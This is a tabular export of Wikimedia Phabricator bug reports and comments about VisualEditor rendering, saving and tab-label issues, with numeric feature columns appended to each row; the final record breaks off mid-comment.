200414,"VisualEditor: Sync availability of ""minor edit"" with MW backend",Code now live in master; will get deployed in the next cycle.,,,1354565365,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-cougiswjchh3cn6khldz,task_subcomment,,True,c1,0,True,,,-30,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5714285714285716,0.9285714285714286,Code now live in master; will get deployed in the next cycle.
200408,"VisualEditor: Sync availability of ""minor edit"" with MW backend",Change-Id: I9c659845feebb3e9bbf8e13ee67be27c6adb4321,,,1354426566,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-cougiswjchh3cn6khldz,task_subcomment,,True,c1,0,True,,,-31,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,60.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,60.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.2,1.0,Change-Id: I9c659845feebb3e9bbf8e13ee67be27c6adb4321
200403,"VisualEditor: Sync availability of ""minor edit"" with MW backend","The EditPage backends has this logic in three places:

* Getting html of checkboxes (only if user has minoredit right and if not on a  new page)
* Setting initial values of checkboxes (if user has minordefault preference)
* Processing the save action with the minoredit flag (only if has user right and not on a new page)",,,1354418381,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-cougiswjchh3cn6khldz,task_subcomment,,True,c1,0,True,,,-31,,0.0,0.0,0.0,0.0,3.0,4.0,0.0,0.0,0.0,6.0,1.0,0.0,0.0,3.0,0.0,0.0,1.0,9.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,6.0,3.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,14.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,4.0,0.0,0.0,0.0,3.869565217391304,0.6086956521739131,"The EditPage backends has this logic in three places:

* Getting html of checkboxes (only if user has minoredit right and if not on a  new page)
* Setting initial values of checkboxes (if user has minordefault preference)
* Processing the save action with the minoredit flag (only if has user right and not on a new page)"
44134,VisualEditor: Floated nodes don't get shields in Chrome,"If you have a floated table inside an alien, it gets a shield (and a phantom) in Firefox but not in Chrome. This is because the table is floated with external CSS triggered by class=""infobox"", rather than an inline style attribute. At the time when we check for $this.css('float'), $this hasn't been attached to the main DOM yet. Firefox computes styles on unattached nodes correctly, but Chrome doesn't.

The solution is to wait until after the entire CE rendering has been built and attached to the DOM before generating shields and phantoms. Possible implementations:

1. Add an onAttach function to ce.Node. After attaching, traverse the entire CE tree and invoke onAttach() on every node (bottom up). This is expensive, though, because you have to traverse the entire tree just to invoke onAttach on the few nodes that use it.

2. Make the ce.Surface throw an 'attached' event after attaching to the DOM, and make the ce.AlienBlockNode constructor listen for this event. This is not as clean, but more efficient, because only nodes that need processing are processed.

I have a slight preference for #2, but I can be convinced either way.

In both cases, the call to onUpdate() in the ce.AlienBlockNode constructor would be removed, otherwise the HTML would be set twice.

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1352948940,1353018780.0,PHID-USER-fovtl67ew4l4cc3oeypc,False,,False,PHID-TASK-oxmalsbaodappytqtaoo,task_description,resolved,True,c1,0,False,False,True,-33,,0.6666666666666666,0.0,0.0,2.3333333333333335,1.3333333333333333,5.333333333333333,1.0,1.0,0.3333333333333333,0.3333333333333333,2.3333333333333335,1.6666666666666667,0.0,0.3333333333333333,0.0,1.0,0.6666666666666666,5.333333333333333,10.666666666666666,0.0,1.0,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,0.3333333333333333,0.3333333333333333,0.6666666666666666,0.0,6.333333333333333,0.3333333333333333,0.6666666666666666,0.3333333333333333,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.6666666666666667,0.0,0.3333333333333333,0.0,0.6666666666666666,0.0,12.666666666666666,1.3333333333333333,0.3333333333333333,0.0,0.6666666666666666,0.0,0.3333333333333333,0.0,0.6666666666666666,0.6666666666666666,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.3333333333333333,0.6666666666666666,0.0,7.666666666666667,3.6666666666666665,10.0,1.6666666666666667,3.0,10.333333333333334,0.0,0.0,0.0,0.3333333333333333,3.6666666666666665,0.0,0.3333333333333333,0.0,2.3333333333333335,10.666666666666666,5.0,0.0,1.3333333333333333,0.0,2.3333333333333335,0.0,1.0,2.6666666666666665,0.0,1.0,0.3333333333333333,0.0,0.6666666666666666,3.951388888888889,0.677942439862543,"If you have a floated table inside an alien, it gets a shield (and a phantom) in Firefox but not in Chrome. This is because the table is floated with external CSS triggered by class=""infobox"", rather than an inline style attribute. At the time when we check for $this.css('float'), $this hasn't been attached to the main DOM yet. Firefox computes styles on unattached nodes correctly, but Chrome doesn't.

The solution is to wait until after the entire CE rendering has been built and attached to the DOM before generating shields and phantoms. Possible implementations:

1. Add an onAttach function to ce.Node. After attaching, traverse the entire CE tree and invoke onAttach() on every node (bottom up). This is expensive, though, because you have to traverse the entire tree just to invoke onAttach on the few nodes that use it.

2. Make the ce.Surface throw an 'attached' event after attaching to the DOM, and make the ce.AlienBlockNode constructor listen for this event. This is not as clean, but more efficient, because only nodes that need processing are processed.

I have a slight preference for #2, but I can be convinced either way.

In both cases, the call to onUpdate() in the ce.AlienBlockNode constructor would be removed, otherwise the HTML would be set twice.

--------------------------
**Version**: unspecified
**Severity**: normal"
200234,VisualEditor: Floated nodes don't get shields in Chrome,Fixed here: https://gerrit.wikimedia.org/r/#/c/33661/,,,1353018780,,PHID-USER-s7sn3zjthnxvep34c5ho,False,,,PHID-TASK-oxmalsbaodappytqtaoo,task_subcomment,,True,c1,0,False,,,-33,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.25,1.0,Fixed here: URL
44125,VisualEditor: Spinner keeps spinning after save fail,"If you try to save a page and it fails (e.g. because of an edit conflict, blocked user, Parsoid down, or whatever), then click Cancel, the spinner keeps spinning and the Save page button remains greyed out.

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1352940660,1354054812.0,PHID-USER-fovtl67ew4l4cc3oeypc,False,,False,PHID-TASK-kk4vhnmofck2qdxtjn2o,task_description,resolved,True,c1,0,False,False,True,-33,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,10.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,2.0,0.0,2.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,10.0,3.0,5.0,8.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,10.0,5.0,0.0,0.0,0.0,3.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,3.8412698412698414,0.746031746031746,"If you try to save a page and it fails (e.g. because of an edit conflict, blocked user, Parsoid down, or whatever), then click Cancel, the spinner keeps spinning and the Save page button remains greyed out.

--------------------------
**Version**: unspecified
**Severity**: normal"
199721,VisualEditor: Spinner keeps spinning after save fail,"

*** This bug has been marked as a duplicate of bug 37837 ***",,,1354054812,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-kk4vhnmofck2qdxtjn2o,task_subcomment,,True,c1,0,False,,,-31,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7777777777777777,0.6666666666666666,"

*** This bug has been marked as a duplicate of bug 37837 ***"
44121,VisualEditor: Paragraph generated for an empty document should not be unwrapped on the way out,"Currently, the DOM->data converter generates an empty paragraph if the input is an empty string. This paragraph is marked with .internal.generated=='wrapper', so it's unwrapped on the way out. This is bad because we lose change markers that way, and have no way to propagate them.

Instead, it should use another generated marker which causes the paragraph to be unwrapped only if it is empty, and be preserved if it's not empty.

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1352938920,1353123761.0,PHID-USER-fovtl67ew4l4cc3oeypc,False,,False,PHID-TASK-lag2eyarvgkricqxqmeh,task_description,resolved,True,c1,0,False,False,True,-33,,0.0,0.0,0.0,1.5,1.0,7.0,3.0,0.5,0.0,2.5,1.0,0.5,0.0,1.0,0.0,0.5,0.0,4.5,6.5,0.0,1.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.5,0.0,3.5,0.0,0.0,0.0,0.0,1.0,0.0,0.5,1.0,0.0,2.0,0.0,2.5,0.0,0.0,0.0,8.5,0.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,3.5,4.5,5.0,3.0,1.5,7.5,0.0,0.0,0.0,0.0,3.5,0.0,0.0,0.0,5.0,6.5,0.0,0.0,0.5,0.0,5.0,0.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,4.235294117647059,0.7058823529411764,"Currently, the DOM->data converter generates an empty paragraph if the input is an empty string. This paragraph is marked with .internal.generated=='wrapper', so it's unwrapped on the way out. This is bad because we lose change markers that way, and have no way to propagate them.

Instead, it should use another generated marker which causes the paragraph to be unwrapped only if it is empty, and be preserved if it's not empty.

--------------------------
**Version**: unspecified
**Severity**: normal"
199526,VisualEditor: Paragraph generated for an empty document should not be unwrapped on the way out,*** Bug 41905 has been marked as a duplicate of this bug. ***,,,1353133977,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-lag2eyarvgkricqxqmeh,task_subcomment,,True,c1,0,True,,,-33,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 41905 has been marked as a duplicate of this bug. ***
199522,VisualEditor: Paragraph generated for an empty document should not be unwrapped on the way out,https://gerrit.wikimedia.org/r/33854,,,1353123761,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-lag2eyarvgkricqxqmeh,task_subcomment,,True,c1,0,False,,,-33,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,1.0,GERRIT_URL
44119,VisualEditor: Converter should inline-alienate inline tags in wrapping mode even in the mw:unrecognized case,"Normally, unrecognized tags in wrapped blocks are alienated as inline or block depending on the tag name. This is broken for tags with unrecognized mw: types (and for about groups), which are always alienated as block when in wrapping mode.

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1352938680,1353386649.0,PHID-USER-fovtl67ew4l4cc3oeypc,False,,False,PHID-TASK-hfb6u2us7tcoc2xke4cf,task_description,resolved,True,c1,0,False,False,True,-33,,0.0,0.0,0.0,5.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,18.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,5.0,6.0,2.0,3.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,4.2,0.6923076923076923,"Normally, unrecognized tags in wrapped blocks are alienated as inline or block depending on the tag name. This is broken for tags with unrecognized mw: types (and for about groups), which are always alienated as block when in wrapping mode.

--------------------------
**Version**: unspecified
**Severity**: normal"
199447,VisualEditor: Converter should inline-alienate inline tags in wrapping mode even in the mw:unrecognized case,https://gerrit.wikimedia.org/r/34261,,,1353386649,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-hfb6u2us7tcoc2xke4cf,task_subcomment,,True,c1,0,False,,,-32,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,1.0,GERRIT_URL
44117,"VisualEditor: Replaced Edit tab should use original label instead of fetching message ""edit"" msg","When loading a page with VE enabled, the ""edit"" tab is changed from the ""vector-view-edit"" message to the ""edit"" message. This is apparent on enwiki, where these messages have different values. It's also apparent when using ?uselang=qqx

This shouldn't happen, the message for the edit tab should be consistent.

--------------------------
**Version**: unspecified
**Severity**: minor",High,80.0,1352937420,1365036328.0,PHID-USER-fovtl67ew4l4cc3oeypc,False,,False,PHID-TASK-5jn5rxhygbvz6pzdt2uo,task_description,resolved,True,c1,0,False,False,True,-33,,0.0,0.0,0.0,1.0,1.0,6.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,2.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,18.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,8.0,3.0,0.0,10.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,1.0,6.0,6.0,1.0,7.0,0.0,1.0,0.0,3.0,1.0,0.0,2.0,0.0,0.0,0.0,3.764044943820225,0.6179775280898876,"When loading a page with VE enabled, the ""edit"" tab is changed from the ""vector-view-edit"" message to the ""edit"" message. This is apparent on enwiki, where these messages have different values. It's also apparent when using ?uselang=qqx

This shouldn't happen, the message for the edit tab should be consistent.

--------------------------
**Version**: unspecified
**Severity**: minor"
199374,"VisualEditor: Replaced Edit tab should use original label instead of fetching message ""edit"" msg",Now merged.,,,1365036328,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-5jn5rxhygbvz6pzdt2uo,task_subcomment,,True,c1,1,True,,,-13,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3333333333333335,1.0,Now merged.
199369,"VisualEditor: Replaced Edit tab should use original label instead of fetching message ""edit"" msg","Rephrased summary.

The problem is that different skins use a different message for the Edit button. Vector uses msg key ""vector-view-edit"". Monobook (and most other skins) use msg key ""edit"".

By default the messages are equal but on en.wikipedia.org, as example, classic msg ""edit"" has been changed to contain ""Edit this page"".

This lead to the tab replacement causing a weird change from ""Edit"" to ""Edit this page"" when in VE mode.",,,1365027641,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-5jn5rxhygbvz6pzdt2uo,task_subcomment,,True,c1,1,True,,,-13,,0.0,0.0,0.0,1.0,0.0,6.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,8.5,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,16.0,0.0,3.5,0.0,0.5,0.0,0.0,0.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,8.0,1.5,1.5,7.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,8.5,5.0,0.0,10.0,0.0,0.0,0.0,1.0,1.5,0.0,1.0,0.0,0.5,0.0,3.632941176470588,0.7029411764705882,"Rephrased summary.

The problem is that different skins use a different message for the Edit button. Vector uses msg key ""vector-view-edit"". Monobook (and most other skins) use msg key ""edit"".

By default the messages are equal but on en.wikipedia.org, as example, classic msg ""edit"" has been changed to contain ""Edit this page"".

This lead to the tab replacement causing a weird change from ""Edit"" to ""Edit this page"" when in VE mode."
199364,"VisualEditor: Replaced Edit tab should use original label instead of fetching message ""edit"" msg",Change-Id: I2e7dd85cd14049101e2d49751d37797d77bc7c9d,,,1365027456,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-5jn5rxhygbvz6pzdt2uo,task_subcomment,,True,c1,1,True,,,-13,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,60.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.2,1.0,Change-Id: I2e7dd85cd14049101e2d49751d37797d77bc7c9d
199357,"VisualEditor: Replaced Edit tab should use original label instead of fetching message ""edit"" msg","De-prioritising for December; instead, bug 42221 will take on this need, as discussed with Trevor and Roan.",,,1353122866,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-5jn5rxhygbvz6pzdt2uo,task_subcomment,,True,c1,0,True,,,-33,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,17.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.9565217391304346,0.9565217391304348,"De-prioritising for December; instead, bug 42221 will take on this need, as discussed with Trevor and Roan."
199351,"VisualEditor: Replaced Edit tab should use original label instead of fetching message ""edit"" msg","Problem is in ViewPageTarget, which assumes that the name of the action and the action's label are the same ('edit' or 'create') or something, per hurried conversation with Trevor. :-)

More widely, we might want our own label for this at first anyway to make it clear which editor people are using during the initial integration - just call it ""VisualEditor"" and leave the other tab visible next to it?",,,1353017565,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-5jn5rxhygbvz6pzdt2uo,task_subcomment,,True,c1,0,True,,,-33,,0.0,1.0,0.0,0.0,0.0,8.0,2.0,0.0,0.0,0.0,1.0,5.0,0.0,0.0,0.0,2.0,0.0,7.0,12.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,5.0,1.0,4.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,1.0,9.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,6.0,1.0,5.0,11.0,0.0,1.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,12.0,4.0,1.0,7.0,0.0,6.0,0.0,2.0,0.0,0.0,1.0,1.0,0.0,0.0,3.9411764705882355,0.7647058823529411,"Problem is in ViewPageTarget, which assumes that the name of the action and the action's label are the same ('edit' or 'create') or something, per hurried conversation with Trevor. :-)

More widely, we might want our own label for this at first anyway to make it clear which editor people are using during the initial integration - just call it ""VisualEditor"" and leave the other tab visible next to it?"
44092,VisualEditor: Change marking branch appears to be live on MWwiki,"Possibly the wrong version of Parsoid updated? See https://www.mediawiki.org/w/index.php?title=VisualEditor:Test&diff=next&oldid=604180 as an example of '<p data-ve-changed=""[...]"">' elements being created.

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1352858220,1352939134.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-jh7jzzemygqrgcfg25dq,task_description,resolved,True,c1,0,True,False,True,-33,,0.0,0.0,0.0,2.0,0.0,6.0,0.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,6.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,12.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,6.0,4.0,2.0,8.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,6.0,3.5294117647058822,0.7450980392156863,"Possibly the wrong version of Parsoid updated? See URL as an example of '<p data-ve-changed=""[...]"">' elements being created.

--------------------------
**Version**: unspecified
**Severity**: normal"
197910,VisualEditor: Change marking branch appears to be live on MWwiki,Fixed in https://gerrit.wikimedia.org/r/#/c/33410/,,,1352939134,,PHID-USER-fovtl67ew4l4cc3oeypc,True,,,PHID-TASK-jh7jzzemygqrgcfg25dq,task_subcomment,,True,c1,0,False,,,-33,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3333333333333335,1.0,Fixed in URL
44091,VisualEditor: A wild pawn character appeared!,"Roan told me that, if I ever saw one of your comical placeholder Unicode characters, that it was a pretty well-defined bug. So here:

1. Create an unordered list
2. Enter some items
3. Hit enter twice
4. Type something

Expected: Whatever I typed should appear on the screen.

Actual: Pawn character! It also prints my text, but only after '♙\n'.

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1352856780,1354656971.0,PHID-USER-nvavrb7ko66hv3xap6sb,False,,False,PHID-TASK-az3twbgyfogcznpnnndd,task_description,declined,True,c1,0,True,False,True,-33,,0.5,1.0,0.0,0.0,0.0,4.0,0.5,0.0,0.0,0.5,0.0,2.0,0.0,1.0,0.0,3.0,0.0,5.0,4.0,1.0,0.0,1.0,0.0,0.0,3.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.5,1.5,0.0,0.5,1.0,0.0,1.5,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.5,7.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.5,12.0,1.5,1.0,3.5,0.0,0.0,1.0,0.0,4.0,0.0,2.0,0.0,5.0,4.0,2.0,0.0,2.0,0.0,5.0,0.0,1.0,1.0,0.5,0.0,0.0,0.0,1.5,3.5,0.7788461538461539,"Roan told me that, if I ever saw one of your comical placeholder Unicode characters, that it was a pretty well-defined bug. So here:

1. Create an unordered list
2. Enter some items
3. Hit enter twice
4. Type something

Expected: Whatever I typed should appear on the screen.

Actual: Pawn character! It also prints my text, but only after '♙\n'.

--------------------------
**Version**: unspecified
**Severity**: normal"
197866,VisualEditor: A wild pawn character appeared!,"**orbit** wrote:

